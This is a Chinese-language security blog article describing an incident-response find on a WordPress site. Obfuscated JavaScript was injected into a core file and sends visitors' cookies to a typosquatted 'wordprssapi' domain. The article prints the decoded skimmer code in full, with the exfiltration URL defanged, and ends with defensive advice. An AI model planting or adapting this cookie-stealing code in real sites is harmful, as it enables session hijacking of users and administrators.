所有文章 > API安全 > 假冒WordPrssAPI窃取Cookie并劫持会话
假冒WordPrssAPI窃取Cookie并劫持会话

假冒WordPrssAPI窃取Cookie并劫持会话

Cookies存储在用户的浏览器中,用于跟踪特定网站上的行为。它们还保持用户在活跃浏览会话期间登录状态。没有Cookies,用户将需要登录以验证他们执行的每个操作。本质上,Cookies使用户保持登录状态,直到他们注销或Cookie过期。

Cookie窃取和会话劫持

如果攻击者能够窃取活动Cookies,攻击者可以冒充该用户并执行用户有权限执行的任何操作。当考虑到管理员用户时,这是极其危险的。

这类攻击并不常见,因为它们执行起来复杂且通常是有时间限制的。大多数在线账户,包括WordPress,会在一定时间的不活动后自动注销用户。

在一次事件响应调查中,我们发现了一个假装与WordPress核心域名之一合作的恶意软件。黑客注入了一些恶意代码,这些代码使用了典型的eval(function(p,a,c,k,e,d)混淆技术,位于合法JavaScript文件的底部,例如wp-includes/js/hoverIntent.min.js。

解码注入

一旦解码,这就是恶意代码的工作方式:

function adsadsgg() {
var gd = document.cookie.indexOf("_utmzz=");
if (gd == -1 && (/Applebot|baiduspider|Bingbot|Googlebot|ia_archiver|msnbot|Naverbot|seznambot|Slurp|teoma|Yandex|Yeti/i.test(navigator.userAgent) == false)) {
var rd = Math.floor(Math.random() * 2);
if (rd == 0) {
var sss = document.createElement('script');
sss.src = "hxxps://code.wordprssapi[.]com/ajax/json.aspx?c=" + escape(document.cookie);
document.body.appendChild(sss)
}
var dd = new Date();
dd.setTime(dd.getTime() + 86400000);
window.document.cookie = "_utmzz=ga; expires=" + dd.toGMTString()
}
}
if (typeof(jQuery) != 'undefined') {
jQuery(function() {
adsadsgg()
})
} else {
window.onload = function() {
adsadsgg()
}
}

在顶部有一个条件语句,排除了来自搜索引擎爬虫的用户代理的Cookies。这确保了发送给攻击者的数据更有可能立即可用。

在确保数据属于真实用户后,脚本收集活动Cookie数据并将其传递给恶意网站,供攻击者使用。

假冒WordPress API域名

在脚本中,您可能注意到了虚假域名——code.wordprssapi[.]com——那是Cookie数据被发送的地方。

通过购买一个与合法网站平台或服务非常相似的域名,一些网站管理员可能会在他们的代码中忽视这一点,并假设它是一个官方WordPress域名(它不是)。

顺便说一下,code.wordpressapi[.]com(正确拼写)也与WordPress无关。

结论

我们已经看到过拼写错误。它继续是一种帮助黑客逃避网站所有者检测的策略。这是所有网站管理员在审计自己的代码时应该意识到的事情。要小心,始终检查域名是否合法,特别是如果它涉及收集或向第三方网站发送信息。

即使它是一个官方WordPress域名,发送Cookies始终是一个危险信号。Cookies包含大量不应共享的私人信息。

由于攻击者越来越擅长隐藏他们的踪迹,核心文件完整性检查或网站监控服务将提醒用户有关问题。

更多API相关内容,请查看幂简

#你可能也喜欢这些API文章!